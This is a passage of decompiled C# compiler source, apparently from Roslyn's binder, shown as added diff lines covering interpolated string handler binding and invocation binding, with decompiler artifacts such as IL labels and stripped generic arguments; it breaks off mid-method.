private BoundExpression BindUnconvertedInterpolatedExpressionToHandlerType(BoundExpression unconvertedExpression, NamedTypeSymbol interpolatedStringHandlerType, BindingDiagnosticBag diagnostics, ImmutableArray additionalConstructorArguments = default(ImmutableArray), ImmutableArray additionalConstructorRefKinds = default(ImmutableArray)) + { + if (!(unconvertedExpression is BoundUnconvertedInterpolatedString unconvertedInterpolatedString)) + { + if (unconvertedExpression is BoundBinaryOperator binaryOperator) + { + return BindUnconvertedBinaryOperatorToInterpolatedStringHandlerType(binaryOperator, interpolatedStringHandlerType, diagnostics, additionalConstructorArguments, additionalConstructorRefKinds); + } + throw ExceptionUtilities.UnexpectedValue((object)unconvertedExpression.Kind); + } + return BindUnconvertedInterpolatedStringToHandlerType(unconvertedInterpolatedString, interpolatedStringHandlerType, diagnostics, isHandlerConversion: true, additionalConstructorArguments, additionalConstructorRefKinds); + } + + private BoundInterpolatedString BindUnconvertedInterpolatedStringToHandlerType(BoundUnconvertedInterpolatedString unconvertedInterpolatedString, NamedTypeSymbol interpolatedStringHandlerType, BindingDiagnosticBag diagnostics, bool isHandlerConversion, ImmutableArray additionalConstructorArguments = default(ImmutableArray), ImmutableArray additionalConstructorRefKinds = default(ImmutableArray)) + { + var (immutableArray, value) = BindUnconvertedInterpolatedPartsToHandlerType(unconvertedInterpolatedString.Syntax, ImmutableArray.Create(unconvertedInterpolatedString.Parts), interpolatedStringHandlerType, diagnostics, isHandlerConversion, additionalConstructorArguments, additionalConstructorRefKinds); + return new BoundInterpolatedString(unconvertedInterpolatedString.Syntax, value, immutableArray[0], unconvertedInterpolatedString.ConstantValueOpt, unconvertedInterpolatedString.Type, unconvertedInterpolatedString.HasErrors); + } + + private BoundBinaryOperator BindUnconvertedBinaryOperatorToInterpolatedStringHandlerType(BoundBinaryOperator binaryOperator, NamedTypeSymbol interpolatedStringHandlerType, BindingDiagnosticBag diagnostics, ImmutableArray additionalConstructorArguments, ImmutableArray additionalConstructorRefKinds) + { + ArrayBuilder> instance = ArrayBuilder>.GetInstance(); + binaryOperator.VisitBinaryOperatorInterpolatedString(instance, delegate(BoundUnconvertedInterpolatedString unconvertedInterpolatedString, ArrayBuilder> partsArrayBuilder) + { + partsArrayBuilder.Add(unconvertedInterpolatedString.Parts); + return true; + }); + var (appendCalls, data) = BindUnconvertedInterpolatedPartsToHandlerType(binaryOperator.Syntax, instance.ToImmutableAndFree(), interpolatedStringHandlerType, diagnostics, isHandlerConversion: true, additionalConstructorArguments, additionalConstructorRefKinds); + return UpdateBinaryOperatorWithInterpolatedContents(binaryOperator, appendCalls, data, binaryOperator.Syntax, diagnostics); + } + + private (ImmutableArray> AppendCalls, InterpolatedStringHandlerData Data) BindUnconvertedInterpolatedPartsToHandlerType(SyntaxNode syntax, ImmutableArray> partsArray, NamedTypeSymbol interpolatedStringHandlerType, BindingDiagnosticBag diagnostics, bool isHandlerConversion, ImmutableArray additionalConstructorArguments, ImmutableArray additionalConstructorRefKinds) + { + additionalConstructorArguments = ImmutableArrayExtensions.NullToEmpty(additionalConstructorArguments); + additionalConstructorRefKinds = ImmutableArrayExtensions.NullToEmpty(additionalConstructorRefKinds); + ReportUseSite(interpolatedStringHandlerType, diagnostics, syntax); + BoundInterpolatedStringHandlerPlaceholder boundInterpolatedStringHandlerPlaceholder = new BoundInterpolatedStringHandlerPlaceholder(syntax, interpolatedStringHandlerType) + { + WasCompilerGenerated = true + }; + (ImmutableArray> AppendFormatCalls, bool UsesBoolReturn, ImmutableArray>, int BaseStringLength, int NumFormatHoles) tuple = BindInterpolatedStringAppendCalls(partsArray, boundInterpolatedStringHandlerPlaceholder, diagnostics); + ImmutableArray> item = tuple.AppendFormatCalls; + bool item2 = tuple.UsesBoolReturn; + ImmutableArray> item3 = tuple.Item3; + int item4 = tuple.BaseStringLength; + int item5 = tuple.NumFormatHoles; + bool flag = false; + if (isHandlerConversion) + { + CheckFeatureAvailability(syntax, MessageID.IDS_FeatureImprovedInterpolatedStrings, diagnostics); + } + else if (!Compilation.IsFeatureEnabled(MessageID.IDS_FeatureImprovedInterpolatedStrings) && ((BindingDiagnosticBag)diagnostics).AccumulatesDiagnostics) + { + flag = true; + } + if (flag) + { + TypeSymbol specialType = GetSpecialType((SpecialType)1, diagnostics, syntax); + BindingDiagnosticBag instance = BindingDiagnosticBag.GetInstance(withDiagnostics: true, withDependencies: false); + ImmutableArray>.Enumerator enumerator = partsArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.GetEnumerator(); + while (enumerator2.MoveNext()) + { + if (!(enumerator2.Current is BoundStringInsert boundStringInsert)) + { + continue; + } + BoundExpression boundExpression = boundStringInsert.Value; + bool flag2 = false; + if ((object)boundExpression.Type != null) + { + boundExpression = BindToNaturalType(boundExpression, instance); + if (((BindingDiagnosticBag)instance).HasAnyErrors()) + { + CheckFeatureAvailability(boundExpression.Syntax, MessageID.IDS_FeatureImprovedInterpolatedStrings, diagnostics); + flag2 = true; + } + } + if (!flag2) + { + GenerateConversionForAssignment(specialType, boundExpression, instance); + if (((BindingDiagnosticBag)instance).HasAnyErrors()) + { + CheckFeatureAvailability(boundExpression.Syntax, MessageID.IDS_FeatureImprovedInterpolatedStrings, diagnostics); + } + } + ((BindingDiagnosticBag)(object)instance).Clear(); + } + } + ((BindingDiagnosticBag)(object)instance).Free(); + } + NamedTypeSymbol specialType2 = GetSpecialType((SpecialType)13, diagnostics, syntax); + int num = 3 + additionalConstructorArguments.Length; + ArrayBuilder instance2 = ArrayBuilder.GetInstance(num); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(num); + instance3.Add((RefKind)0); + instance3.Add((RefKind)0); + instance3.AddRange(additionalConstructorRefKinds); + NamedTypeSymbol specialType3 = GetSpecialType((SpecialType)7, diagnostics, syntax); + BoundInterpolatedStringArgumentPlaceholder item6 = new BoundInterpolatedStringArgumentPlaceholder(syntax, -2, specialType3) + { + WasCompilerGenerated = true + }; + ImmutableArray immutableArray = additionalConstructorArguments.Add(item6); + instance3.Add((RefKind)2); + populateArguments(syntax, immutableArray, item4, item5, specialType2, instance2); + BindingDiagnosticBag instance4 = BindingDiagnosticBag.GetInstance(withDiagnostics: true, ((BindingDiagnosticBag)(object)diagnostics).AccumulatesDependencies); + BoundExpression boundExpression2 = MakeConstructorInvocation(interpolatedStringHandlerType, instance2, instance3, syntax, instance4); + BindingDiagnosticBag instance5; + BoundExpression boundExpression3; + BoundExpression boundExpression4; + if (!(boundExpression2 is BoundObjectCreationExpression) || boundExpression2.ResultKind != LookupResultKind.Viable) + { + instance2.Clear(); + populateArguments(syntax, additionalConstructorArguments, item4, item5, specialType2, instance2); + instance3.RemoveLast(); + instance5 = BindingDiagnosticBag.GetInstance(instance4); + boundExpression3 = MakeConstructorInvocation(interpolatedStringHandlerType, instance2, instance3, syntax, instance5); + if (boundExpression3 is BoundObjectCreationExpression && boundExpression3.ResultKind == LookupResultKind.Viable) + { + boundExpression4 = boundExpression3; + addAndFreeConstructorDiagnostics(diagnostics, instance5); + ((BindingDiagnosticBag)(object)instance4).Free(); + } + else + { + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)instance5).DiagnosticBag; + bool num2 = diagnosticBag != null && diagnosticBag.AsEnumerableWithoutResolution().Any((Diagnostic d) => d.Code == 1729); + DiagnosticBag diagnosticBag2 = ((BindingDiagnosticBag)instance4).DiagnosticBag; + bool flag3 = diagnosticBag2 != null && diagnosticBag2.AsEnumerableWithoutResolution().Any((Diagnostic d) => d.Code == 1729); + if (num2) + { + if (flag3) + { + goto IL_0343; + } + boundExpression4 = boundExpression2; + additionalConstructorArguments = immutableArray; + addAndFreeConstructorDiagnostics(diagnostics, instance4); + ((BindingDiagnosticBag)(object)instance5).Free(); + } + else + { + if (!flag3) + { + goto IL_0343; + } + boundExpression4 = boundExpression3; + addAndFreeConstructorDiagnostics(diagnostics, instance5); + ((BindingDiagnosticBag)(object)instance4).Free(); + } + } + } + else + { + addAndFreeConstructorDiagnostics(diagnostics, instance4); + boundExpression4 = boundExpression2; + additionalConstructorArguments = immutableArray; + } + goto IL_036c; + IL_036c: + instance2.Free(); + instance3.Free(); + if (boundExpression4 is BoundDynamicObjectCreationExpression) + { + diagnostics.Add(ErrorCode.ERR_InterpolatedStringHandlerCreationCannotUseDynamic, syntax.Location, interpolatedStringHandlerType.Name); + } + InterpolatedStringHandlerData item7 = new InterpolatedStringHandlerData(interpolatedStringHandlerType, boundExpression4, item2, ImmutableArrayExtensions.NullToEmpty(additionalConstructorArguments), item3, boundInterpolatedStringHandlerPlaceholder); + return (AppendCalls: item, Data: item7); + IL_0343: + boundExpression4 = boundExpression3; + addAndFreeConstructorDiagnostics(diagnostics, instance5); + addAndFreeConstructorDiagnostics(diagnostics, instance4); + goto IL_036c; + static void addAndFreeConstructorDiagnostics(BindingDiagnosticBag target, BindingDiagnosticBag source) + { + ((BindingDiagnosticBag)(object)target).AddDependencies((BindingDiagnosticBag)(object)source, false); + DiagnosticBag diagnosticBag3 = ((BindingDiagnosticBag)source).DiagnosticBag; + if (diagnosticBag3 != null && !diagnosticBag3.IsEmptyWithoutResolution) + { + foreach (Diagnostic item8 in diagnosticBag3.AsEnumerableWithoutResolution()) + { + ErrorCode code = (ErrorCode)item8.Code; + if (((uint)(code - 9191) > 2u && code != ErrorCode.WRN_ArgExpectedIn) || 1 == 0) + { + ((BindingDiagnosticBag)target).Add(item8); + } + } + } + ((BindingDiagnosticBag)(object)source).Free(); + } + static void populateArguments(SyntaxNode syntax2, ImmutableArray immutableArray2, int baseStringLength, int numFormatHoles, NamedTypeSymbol intType, ArrayBuilder argumentsBuilder) + { + argumentsBuilder.Add((BoundExpression)new BoundLiteral(syntax2, ConstantValue.Create(baseStringLength), intType) + { + WasCompilerGenerated = true + }); + argumentsBuilder.Add((BoundExpression)new BoundLiteral(syntax2, ConstantValue.Create(numFormatHoles), intType) + { + WasCompilerGenerated = true + }); + argumentsBuilder.AddRange(immutableArray2); + } + } + + private ImmutableArray BindInterpolatedStringParts(BoundUnconvertedInterpolatedString unconvertedInterpolatedString, BindingDiagnosticBag diagnostics) + { + ArrayBuilder val = null; + NamedTypeSymbol specialType = GetSpecialType((SpecialType)1, diagnostics, unconvertedInterpolatedString.Syntax); + for (int i = 0; i < unconvertedInterpolatedString.Parts.Length; i++) + { + BoundExpression boundExpression = unconvertedInterpolatedString.Parts[i]; + if (boundExpression is BoundStringInsert boundStringInsert) + { + BoundExpression boundExpression2; + if ((object)boundStringInsert.Value.Type == null) + { + boundExpression2 = GenerateConversionForAssignment(specialType, boundStringInsert.Value, diagnostics); + } + else + { + boundExpression2 = BindToNaturalType(boundStringInsert.Value, diagnostics); + GenerateConversionForAssignment(specialType, boundStringInsert.Value, diagnostics); + } + if (boundStringInsert.Value != boundExpression2) + { + if (val == null) + { + val = ArrayBuilder.GetInstance(unconvertedInterpolatedString.Parts.Length); + val.AddRange(unconvertedInterpolatedString.Parts, i); + } + val.Add((BoundExpression)boundStringInsert.Update(boundExpression2, boundStringInsert.Alignment, boundStringInsert.Format, isInterpolatedStringHandlerAppendCall: false)); + } + else + { + val?.Add(boundExpression); + } + } + else + { + val?.Add(boundExpression); + } + } + return val?.ToImmutableAndFree() ?? unconvertedInterpolatedString.Parts; + } + + private (ImmutableArray> AppendFormatCalls, bool UsesBoolReturn, ImmutableArray>, int BaseStringLength, int NumFormatHoles) BindInterpolatedStringAppendCalls(ImmutableArray> partsArray, BoundInterpolatedStringHandlerPlaceholder implicitBuilderReceiver, BindingDiagnosticBag diagnostics) + { + //IL_0221: Unknown result type (might be due to invalid IL or missing references) + //IL_0227: Unknown result type (might be due to invalid IL or missing references) + //IL_0285: Unknown result type (might be due to invalid IL or missing references) + //IL_028b: Invalid comparison between Unknown and I4 + //IL_0295: Unknown result type (might be due to invalid IL or missing references) + //IL_029b: Invalid comparison between Unknown and I4 + if (partsArray.IsEmpty && partsArray.All>((ImmutableArray p) => p.IsEmpty)) + { + return (AppendFormatCalls: ImmutableArray>.Empty, UsesBoolReturn: false, ImmutableArray>.Empty, BaseStringLength: 0, NumFormatHoles: 0); + } + bool? flag = null; + int length = partsArray[0].Length; + ArrayBuilder> instance = ArrayBuilder>.GetInstance(partsArray.Length); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(length); + ArrayBuilder> instance3 = ArrayBuilder>.GetInstance(partsArray.Length); + ArrayBuilder<(bool, bool, bool)> instance4 = ArrayBuilder<(bool, bool, bool)>.GetInstance(length); + ArrayBuilder instance5 = ArrayBuilder.GetInstance(3); + ArrayBuilder<(string, Location)?> instance6 = ArrayBuilder<(string, Location)?>.GetInstance(3); + int num = 0; + int num2 = 0; + ImmutableArray>.Enumerator enumerator = partsArray.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundExpression current = enumerator2.Current; + string text; + bool item; + bool item2; + bool item3; + if (current is BoundStringInsert boundStringInsert) + { + text = "AppendFormatted"; + instance5.Add(boundStringInsert.Value); + instance6.Add(((string, Location)?)null); + item = false; + item2 = false; + item3 = false; + if (boundStringInsert.Alignment != null) + { + item2 = true; + instance5.Add(boundStringInsert.Alignment); + instance6.Add(((string, Location)?)("alignment", boundStringInsert.Alignment.Syntax.Location)); + } + if (boundStringInsert.Format != null) + { + item3 = true; + instance5.Add((BoundExpression)boundStringInsert.Format); + instance6.Add(((string, Location)?)("format", boundStringInsert.Format.Syntax.Location)); + } + num2++; + } + else + { + BoundLiteral boundLiteral = (BoundLiteral)current; + string stringValue = boundLiteral.ConstantValueOpt.StringValue; + text = "AppendLiteral"; + instance5.Add((BoundExpression)boundLiteral.Update(ConstantValue.Create(stringValue), boundLiteral.Type)); + item = true; + item2 = false; + item3 = false; + num += stringValue.Length; + } + ImmutableArray args = instance5.ToImmutableAndClear(); + ImmutableArray<(string, Location)?> immutableArray; + if (instance6.Count > 1) + { + immutableArray = instance6.ToImmutableAndClear(); + } + else + { + immutableArray = default(ImmutableArray<(string, Location)?>); + instance6.Clear(); + } + SyntaxNode syntax = current.Syntax; + string methodName = text; + ImmutableArray<(string, Location)?> names = immutableArray; + BoundExpression boundExpression = MakeInvocationExpression(syntax, implicitBuilderReceiver, methodName, args, diagnostics, default(SeparatedSyntaxList), default(ImmutableArray), names, null, allowFieldsAndProperties: false, allowUnexpandedForm: true, searchExtensionMethodsIfNecessary: false); + instance2.Add(boundExpression); + instance4.Add((item, item2, item3)); + if (!(boundExpression is BoundCall boundCall)) + { + continue; + } + MethodSymbol method = boundCall.Method; + if ((object)method != null) + { + TypeSymbol returnType = method.ReturnType; + bool flag2 = (int)returnType.SpecialType == 7; + if (!flag2 && (int)returnType.SpecialType != 6) + { + diagnostics.Add(ErrorCode.ERR_InterpolatedStringHandlerMethodReturnMalformed, current.Syntax.Location, method); + } + else if (!flag.HasValue) + { + flag = flag2; + } + else if (flag != flag2) + { + NamedTypeSymbol namedTypeSymbol = ((flag == true) ? Compilation.GetSpecialType((SpecialType)7) : Compilation.GetSpecialType((SpecialType)6)); + diagnostics.Add(ErrorCode.ERR_InterpolatedStringHandlerMethodReturnInconsistent, current.Syntax.Location, method, namedTypeSymbol); + } + } + } + instance.Add(instance2.ToImmutableAndClear()); + instance3.Add(instance4.ToImmutableAndClear()); + } + instance5.Free(); + instance6.Free(); + instance2.Free(); + instance4.Free(); + return (AppendFormatCalls: instance.ToImmutableAndFree(), UsesBoolReturn: flag == true, instance3.ToImmutableAndFree(), BaseStringLength: num, NumFormatHoles: num2); + } + + private BoundExpression BindInterpolatedStringHandlerInMemberCall(BoundExpression unconvertedString, ArrayBuilder arguments, ImmutableArray parameters, ref MemberAnalysisResult memberAnalysisResult, int interpolatedStringArgNum, BoundExpression? receiver, BindingDiagnosticBag diagnostics) + { + //IL_0180: Unknown result type (might be due to invalid IL or missing references) + //IL_01fb: Unknown result type (might be due to invalid IL or missing references) + //IL_0200: Unknown result type (might be due to invalid IL or missing references) + //IL_0266: Unknown result type (might be due to invalid IL or missing references) + //IL_026b: Unknown result type (might be due to invalid IL or missing references) + //IL_0301: Unknown result type (might be due to invalid IL or missing references) + //IL_0304: Invalid comparison between Unknown and I4 + //IL_0306: Unknown result type (might be due to invalid IL or missing references) + Conversion conversion = memberAnalysisResult.ConversionForArg(interpolatedStringArgNum); + ParameterSymbol correspondingParameter = GetCorrespondingParameter(ref memberAnalysisResult, parameters, interpolatedStringArgNum); + if (correspondingParameter.HasInterpolatedStringHandlerArgumentError) + { + diagnostics.Add(ErrorCode.ERR_InterpolatedStringHandlerArgumentAttributeMalformed, unconvertedString.Syntax.Location, correspondingParameter, correspondingParameter.Type); + return CreateConversion(unconvertedString.Syntax, unconvertedString, conversion, isCast: false, null, wasCompilerGenerated: false, correspondingParameter.Type, diagnostics, hasErrors: true); + } + ImmutableArray interpolatedStringHandlerArgumentIndexes = correspondingParameter.InterpolatedStringHandlerArgumentIndexes; + if (interpolatedStringHandlerArgumentIndexes.IsEmpty) + { + return CreateConversion(unconvertedString.Syntax, unconvertedString, conversion, isCast: false, null, correspondingParameter.IsParams ? ((ArrayTypeSymbol)correspondingParameter.Type).ElementType : correspondingParameter.Type, diagnostics); + } + ImmutableArray immutableArray; + if (memberAnalysisResult.ArgsToParamsOpt.IsDefault && arguments.Count == parameters.Length) + { + immutableArray = interpolatedStringHandlerArgumentIndexes; + } + else + { + ArrayBuilder instance = ArrayBuilder.GetInstance(interpolatedStringHandlerArgumentIndexes.Length, -3); + for (int i = 0; i < interpolatedStringHandlerArgumentIndexes.Length; i++) + { + int num = interpolatedStringHandlerArgumentIndexes[i]; + if (num == -1) + { + instance[i] = num; + continue; + } + for (int j = 0; j < arguments.Count; j++) + { + if (memberAnalysisResult.ParameterFromArgument(j) == num) + { + instance[i] = j; + } + } + } + immutableArray = instance.ToImmutableAndFree(); + } + ArrayBuilder instance2 = ArrayBuilder.GetInstance(immutableArray.Length); + ArrayBuilder instance3 = ArrayBuilder.GetInstance(immutableArray.Length); + bool flag = false; + for (int k = 0; k < immutableArray.Length; k++) + { + int num2 = immutableArray[k]; + RefKind val; + TypeSymbol type; + switch (num2) + { + case -1: + val = (RefKind)0; + type = receiver.Type; + break; + case -3: + { + int num3 = interpolatedStringHandlerArgumentIndexes[k]; + ParameterSymbol parameterSymbol2 = parameters[num3]; + if (parameterSymbol2.IsOptional || (num3 + 1 == parameters.Length && Microsoft.CodeAnalysis.CSharp.OverloadResolution.IsValidParamsParameter(parameterSymbol2))) + { + diagnostics.Add(ErrorCode.ERR_InterpolatedStringHandlerArgumentOptionalNotSpecified, unconvertedString.Syntax.Location, parameterSymbol2.Name, correspondingParameter.Name); + flag = true; + } + val = parameterSymbol2.RefKind; + type = parameterSymbol2.Type; + break; + } + default: + { + int index = interpolatedStringHandlerArgumentIndexes[k]; + ParameterSymbol parameterSymbol = parameters[index]; + if (num2 > interpolatedStringArgNum) + { + diagnostics.Add(ErrorCode.ERR_InterpolatedStringHandlerArgumentLocatedAfterInterpolatedString, arguments[num2].Syntax.Location, parameterSymbol.Name, correspondingParameter.Name); + flag = true; + } + val = parameterSymbol.RefKind; + type = parameterSymbol.Type; + break; + } + } + bool suppress; + SyntaxNode syntax; + if (num2 < 0) + { + switch (num2) + { + case -1: + suppress = receiver.IsSuppressed; + syntax = receiver.Syntax; + break; + case -3: + syntax = unconvertedString.Syntax; + suppress = false; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)num2); + } + } + else + { + syntax = arguments[num2].Syntax; + suppress = arguments[num2].IsSuppressed; + } + instance2.Add((BoundInterpolatedStringArgumentPlaceholder)new BoundInterpolatedStringArgumentPlaceholder(syntax, num2, type, num2 == -3) + { + WasCompilerGenerated = true + }.WithSuppression(suppress)); + instance3.Add((RefKind)(((int)val == 4) ? 3 : ((int)val))); + } + BoundExpression boundExpression = BindUnconvertedInterpolatedExpressionToHandlerType(unconvertedString, (NamedTypeSymbol)correspondingParameter.Type, diagnostics, instance2.ToImmutableAndFree(), instance3.ToImmutableAndFree()); + return new BoundConversion(boundExpression.Syntax, boundExpression, conversion, CheckOverflowAtRuntime, explicitCastInCode: false, null, null, correspondingParameter.Type, flag || boundExpression.HasErrors); + } + + private BoundExpression BindMethodGroup(ExpressionSyntax node, bool invoked, bool indexed, BindingDiagnosticBag diagnostics) + { + switch (node.Kind()) + { + case SyntaxKind.IdentifierName: + case SyntaxKind.GenericName: + return BindIdentifier((SimpleNameSyntax)node, invoked, indexed, diagnostics); + case SyntaxKind.SimpleMemberAccessExpression: + case SyntaxKind.PointerMemberAccessExpression: + return BindMemberAccess((MemberAccessExpressionSyntax)node, invoked, indexed, diagnostics); + case SyntaxKind.ParenthesizedExpression: + return BindMethodGroup(((ParenthesizedExpressionSyntax)node).Expression, invoked: false, indexed: false, diagnostics); + default: + return BindExpression(node, diagnostics, invoked, indexed); + } + } + + private static ImmutableArray GetOriginalMethods(OverloadResolutionResult overloadResolutionResult) + { + if (overloadResolutionResult == null) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray>.Enumerator enumerator = overloadResolutionResult.Results.GetEnumerator(); + while (enumerator.MoveNext()) + { + instance.Add(enumerator.Current.Member); + } + return instance.ToImmutableAndFree(); + } + + internal BoundExpression MakeInvocationExpression(SyntaxNode node, BoundExpression receiver, string methodName, ImmutableArray args, BindingDiagnosticBag diagnostics, SeparatedSyntaxList typeArgsSyntax = default(SeparatedSyntaxList), ImmutableArray typeArgs = default(ImmutableArray), ImmutableArray<(string Name, Location Location)?> names = default(ImmutableArray<(string Name, Location Location)?>), CSharpSyntaxNode? queryClause = null, bool allowFieldsAndProperties = false, bool allowUnexpandedForm = true, bool searchExtensionMethodsIfNecessary = true) + { + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + receiver = BindToNaturalType(receiver, diagnostics); + BoundExpression boundExpression = BindInstanceMemberAccess(node, node, receiver, methodName, ImmutableArrayExtensions.NullToEmpty(typeArgs).Length, typeArgsSyntax, typeArgs, invoked: true, indexed: false, diagnostics, searchExtensionMethodsIfNecessary); + if (!allowFieldsAndProperties && (boundExpression.Kind == BoundKind.FieldAccess || boundExpression.Kind == BoundKind.PropertyAccess)) + { + MessageID id; + Symbol item; + if (boundExpression.Kind == BoundKind.FieldAccess) + { + id = MessageID.IDS_SK_FIELD; + item = ((BoundFieldAccess)boundExpression).FieldSymbol; + } + else + { + id = MessageID.IDS_SK_PROPERTY; + item = ((BoundPropertyAccess)boundExpression).PropertySymbol; + } + diagnostics.Add(ErrorCode.ERR_BadSKknown, node.Location, methodName, id.Localize(), MessageID.IDS_SK_METHOD.Localize()); + return BadExpression(node, LookupResultKind.Empty, ImmutableArray.Create(item), args.Add(receiver), wasCompilerGenerated: true); + } + boundExpression = CheckValue(boundExpression, BindValueKind.RValueOrMethodGroup, diagnostics); + boundExpression.WasCompilerGenerated = true; + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + instance.Arguments.AddRange(args); + if (!names.IsDefault) + { + instance.Names.AddRange(names); + } + BoundExpression boundExpression2 = BindInvocationExpression(node, node, methodName, boundExpression, instance, diagnostics, queryClause, allowUnexpandedForm); + if (queryClause != null && boundExpression2.Kind == BoundKind.DynamicInvocation) + { + boundExpression2 = CreateBadCall(node, boundExpression, LookupResultKind.Viable, instance); + } + boundExpression2.WasCompilerGenerated = true; + instance.Free(); + return boundExpression2; + } + + private BoundExpression BindInvocationExpression(InvocationExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + if (TryBindNameofOperator(node, diagnostics, out var result)) + { + return result; + } + bool num = node.Expression.Kind() == SyntaxKind.ArgListExpression; + AnalyzedArguments instance = AnalyzedArguments.GetInstance(); + InvocationExpressionSyntax nested; + if (num) + { + BindArgumentsAndNames(node.ArgumentList, diagnostics, instance); + result = BindArgListOperator(node, diagnostics, instance); + } + else if (receiverIsInvocation(node, out nested)) + { + ArrayBuilder instance2 = ArrayBuilder.GetInstance(); + ArrayBuilderExtensions.Push(instance2, node); + node = nested; + while (receiverIsInvocation(node, out nested)) + { + ArrayBuilderExtensions.Push(instance2, node); + node = nested; + } + BoundExpression boundExpression = BindMethodGroup(node.Expression, invoked: true, indexed: false, diagnostics); + while (true) + { + result = bindArgumentsAndInvocation(node, boundExpression, instance, diagnostics); + nested = node; + if (!ArrayBuilderExtensions.TryPop(instance2, ref node)) + { + break; + } + MemberAccessExpressionSyntax memberAccessExpressionSyntax = (MemberAccessExpressionSyntax)node.Expression; + instance.Clear(); + CheckContextForPointerTypes(nested, diagnostics, result); + boundExpression = BindMemberAccessWithBoundLeft(memberAccessExpressionSyntax, result, memberAccessExpressionSyntax.Name, memberAccessExpressionSyntax.OperatorToken, invoked: true, indexed: false, diagnostics); + } + instance2.Free(); + } + else + { + BoundExpression boundExpression2 = BindMethodGroup(node.Expression, invoked: true, indexed: false, diagnostics); + result = bindArgumentsAndInvocation(node, boundExpression2, instance, diagnostics); + } + instance.Free(); + return result; + BoundExpression bindArgumentsAndInvocation(InvocationExpressionSyntax invocationExpressionSyntax, BoundExpression boundExpression3, AnalyzedArguments analyzedArguments, BindingDiagnosticBag diagnostics2) + { + boundExpression3 = CheckValue(boundExpression3, BindValueKind.RValueOrMethodGroup, diagnostics2); + string methodName = ((boundExpression3.Kind == BoundKind.MethodGroup) ? GetName(invocationExpressionSyntax.Expression) : null); + BindArgumentsAndNames(invocationExpressionSyntax.ArgumentList, diagnostics2, analyzedArguments, allowArglist: true); + return BindInvocationExpression((SyntaxNode)(object)invocationExpressionSyntax, (SyntaxNode)(object)invocationExpressionSyntax.Expression, methodName, boundExpression3, analyzedArguments, diagnostics2); + } + static bool receiverIsInvocation(InvocationExpressionSyntax invocationExpressionSyntax, out InvocationExpressionSyntax reference) + { + ExpressionSyntax expression = invocationExpressionSyntax.Expression; + if (expression is MemberAccessExpressionSyntax { Expression: InvocationExpressionSyntax expression2 } && ((SyntaxNode)expression).RawKind == 8689 && !expression2.MayBeNameofOperator()) + { + reference = expression2; + return true; + } + reference = null; + return false; + } + } + + private BoundExpression BindArgListOperator(InvocationExpressionSyntax node, BindingDiagnosticBag diagnostics, AnalyzedArguments analyzedArguments) + { + //IL_00da: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00e4: Invalid comparison between Unknown and I4 + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00f3: Unknown result type (might be due to invalid IL or missing references) + bool hasErrors = analyzedArguments.HasErrors; + TypeSymbol specialType = GetSpecialType((SpecialType)1, diagnostics, (SyntaxNode)(object)node); + for (int i = 0; i < analyzedArguments.Arguments.Count; i++) + { + BoundExpression boundExpression = analyzedArguments.Arguments[i]; + if (boundExpression.Kind == BoundKind.OutVariablePendingInference) + { + analyzedArguments.Arguments[i] = ((OutVariablePendingInference)boundExpression).FailInference(this, diagnostics); + } + else if ((object)boundExpression.Type == null && !boundExpression.HasAnyErrors) + { + analyzedArguments.Arguments[i] = GenerateConversionForAssignment(specialType, boundExpression, diagnostics); + } + else if (boundExpression.Type.IsVoidType()) + { + Error(diagnostics, ErrorCode.ERR_CantUseVoidInArglist, SyntaxNodeOrToken.op_Implicit(boundExpression.Syntax)); + hasErrors = true; + } + else if ((int)analyzedArguments.RefKind(i) == 0) + { + analyzedArguments.Arguments[i] = BindToNaturalType(analyzedArguments.Arguments[i], diagnostics); + } + RefKind val = analyzedArguments.RefKind(i); + if ((int)val > 1) + { + Error(diagnostics, ErrorCode.ERR_CantUseInOrOutInArglist, SyntaxNodeOrToken.op_Implicit(boundExpression.Syntax)); + hasErrors = true; + } + } + ImmutableArray arguments = analyzedArguments.Arguments.ToImmutable(); + ImmutableArray argumentRefKindsOpt = analyzedArguments.RefKinds.ToImmutableOrNull(); + return new BoundArgListOperator((SyntaxNode)(object)node, arguments, argumentRefKindsOpt, null, hasErrors); + } + + private BoundExpression BindInvocationExpression(SyntaxNode node, SyntaxNode expression, string methodName, BoundExpression boundExpression, AnalyzedArguments analyzedArguments, BindingDiagnosticBag diagnostics, CSharpSyntaxNode queryClause = null, bool allowUnexpandedForm = true) + { + //IL_00bb: Unknown result type (might be due to invalid IL or missing references) + //IL_00c2: Invalid comparison between Unknown and I4 + BoundExpression boundExpression2; + NamedTypeSymbol delegateType; + if ((object)boundExpression.Type != null && boundExpression.Type.IsDynamic()) + { + ReportSuppressionIfNeeded(boundExpression, diagnostics); + boundExpression2 = BindDynamicInvocation(node, boundExpression, analyzedArguments, ImmutableArray.Empty, diagnostics, queryClause); + } + else if (boundExpression.Kind == BoundKind.MethodGroup) + { + ReportSuppressionIfNeeded(boundExpression, diagnostics); + boundExpression2 = BindMethodGroupInvocation(node, expression, methodName, (BoundMethodGroup)boundExpression, analyzedArguments, diagnostics, queryClause, allowUnexpandedForm, out var _); + } + else if ((object)(delegateType = GetDelegateType(boundExpression)) != null) + { + if (ReportDelegateInvokeUseSiteDiagnostic(diagnostics, delegateType, null, node)) + { + return CreateBadCall(node, boundExpression, LookupResultKind.Viable, analyzedArguments); + } + boundExpression2 = BindDelegateInvocation(node, expression, methodName, boundExpression, analyzedArguments, diagnostics, queryClause, delegateType); + } + else + { + TypeSymbol? type = boundExpression.Type; + if ((object)type != null && (int)type.Kind == 20) + { + ReportSuppressionIfNeeded(boundExpression, diagnostics); + boundExpression2 = BindFunctionPointerInvocation(node, boundExpression, analyzedArguments, diagnostics); + } + else + { + 